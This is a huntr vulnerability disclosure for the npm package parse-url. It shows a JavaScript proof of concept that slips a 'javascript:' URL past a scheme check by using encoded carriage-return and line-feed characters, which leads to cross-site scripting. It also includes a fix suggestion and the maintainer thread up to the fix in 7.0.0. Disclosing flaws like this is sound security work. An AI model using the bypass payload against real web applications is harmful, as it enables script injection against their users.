

## Run malicious JS code with other kinds of encoding in ionicabizau/parse-url



Reported on Jun 7th 2022

### Description

We can Run malicious JS code With special escaping characters for ASCII chars that start with `\x` and also all Unicodes start with `\u`, like the followings :

CR == > `\x0d` and `\u000d`

LF == > `\x0a` and `\u000a`

TAB ==> `\t` and `\u0009` and `\x09`

So there can be many characters that we can't filter all of them!

### Fix suggestion

I have a good and maybe a perfect fix solution:

`parse-parse` use the `url = (url || "").replace(/\\s/gmi, '')` at [this line of code](#) to remove all Whitespace(also the encoded ones) from any part of string.

### Proof of Concept

```
const http = require("http");
const parseUrl = require("parse-url");
const url = parseUrl('jav\u000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
  response.writeHead(200);
  if (url.scheme !== "javascript" && url.scheme !== null) {
    response.end("<a href='\" + url.href + "\">Wowww!</a>" );
  }
  else{
    response.end("Nooo!");
  }
});
```

Chat with us

```
server.listen(80, "127.0.0.1",function(){  
    console.log("http://" +this.address().address+": "+this.address().port);  
});
```

## Impact

attackers with this vulnerability can easily place any malicious JS code on webpages

## Occurrences

JS index.js L15

### CVE

CVE-2022-2217

(Published)

### Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Generic

### Severity

Critical (9.1)

### Registry

Npm

### Affected Version

\*

### Visibility

Public

### Status

Fixed

### Found by



amammad

@amammad

pro ▼

### Fixed by



Ionică Bizău (Johnny B.)

Chat with us



@ionicabizau

unranked ▾

This report was seen 773 times.

We are processing your report and will contact the **ionicabizau/parse-url** team within 24 hours.

6 months ago

amammad modified the report 6 months ago

amammad 6 months ago

Researcher

I changed the report and found more ways to run malicious JS code; because of that, I created more Occurrences for getting more bounty and also didn't send another Report; you can delete the occurrences if you disagree with my decision,  
Best regards.

amammad modified the report 6 months ago

amammad modified the report 6 months ago

amammad modified the report 6 months ago

amammad modified the report 6 months ago

We have contacted a member of the **ionicabizau/parse-url** team and are waiting to hear back

6 months ago

amammad modified the report 6 months ago

amammad 6 months ago

Researcher

I found a perfect fix solution for this issue, but I can't submit the fix and get the bounty.

Please look at **Fix suggestion** in the report.

amammad modified the report 6 months ago

amammad modified the report 6 months ago

Chat with us

amammad [6 months ago](#)

Researcher

my pull request :

<https://github.com/IonicaBizau/parse-path/pull/36>

We have sent a follow up to the [ionicabizau/parse-url](#) team. We will try again in 7 days.

[6 months ago](#)

We have sent a second follow up to the [ionicabizau/parse-url](#) team. We will try again in 10 days.

[5 months ago](#)

amammad [5 months ago](#)

Researcher

Hey @maintainer, I already provide the Fix. Can you ping a little feedback to me, please?

Ionică [5 months ago](#)

Maintainer

Hi there! Sorry for the late reply and thank you for this report. I am working on fixing this.

amammad [5 months ago](#)

Researcher

no problem at all.

please check my pull request too

<https://github.com/IonicaBizau/parse-path/pull/36>

Ionică [5 months ago](#)

Maintainer

Thanks -- I started a big refactor of the module and I hope to make it available soon.

Ionică Bizău (Johnny B.) validated this vulnerability [5 months ago](#)

amammad has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Chat with us

Ionică Bizău (Johnny B.) marked this as fixed in 7.0.0 with commit 21c72a 5 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L15 has been validated ✓

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us